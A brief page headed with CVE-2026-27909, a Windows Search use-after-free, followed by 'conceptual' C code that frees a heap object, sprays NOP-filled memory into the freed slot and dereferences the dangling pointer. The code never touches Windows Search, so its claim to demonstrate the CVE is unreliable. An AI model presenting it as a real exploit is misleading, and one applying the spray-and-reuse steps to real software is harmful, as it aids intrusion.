CVE-2026-27909 Windows Search释放后使用漏洞

/* * PoC for CVE-2026-27909 (Conceptual) * This code demonstrates the logic flow to trigger a Use-After-Free. * It requires a vulnerable environment to execute successfully. */ #include <windows.h> #include <stdio.h> // Hypothetical structure mimicking the vulnerable object typedef struct _VULN_OBJECT { DWORD callback; LPVOID data; } VULN_OBJECT; void TriggerUAF() { // Step 1: Allocate and initialize the object VULN_OBJECT* obj = (VULN_OBJECT*)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); obj->callback = (DWORD)0x41414141; // Dummy address printf("[+] Object allocated at: %p\n", obj); // Step 2: Free the object (Vulnerable condition: pointer not cleared) HeapFree(GetProcessHeap(), 0, obj); printf("[+] Object freed.\n"); // Step 3: Allocate controlled memory to occupy the freed space (Heap Spraying) // In a real exploit, this would be shellcode or ROP gadgets LPVOID controlled_mem = HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); memset(controlled_mem, 0x90, sizeof(VULN_OBJECT)); // Fill with NOPs printf("[+] Controlled memory allocated at: %p\n", controlled_mem); // Step 4: Trigger the Use-After-Free // The vulnerable component tries to use 'obj' again if (obj != NULL) { printf("[-] Attempting to use dangling pointer...\n"); // This would crash or execute code in the real scenario DWORD val = *(DWORD*)obj; printf("[!] Access violation or code execution triggered.\n"); } } int main() { printf("[*] Starting PoC for CVE-2026-27909\n"); TriggerUAF(); return 0; }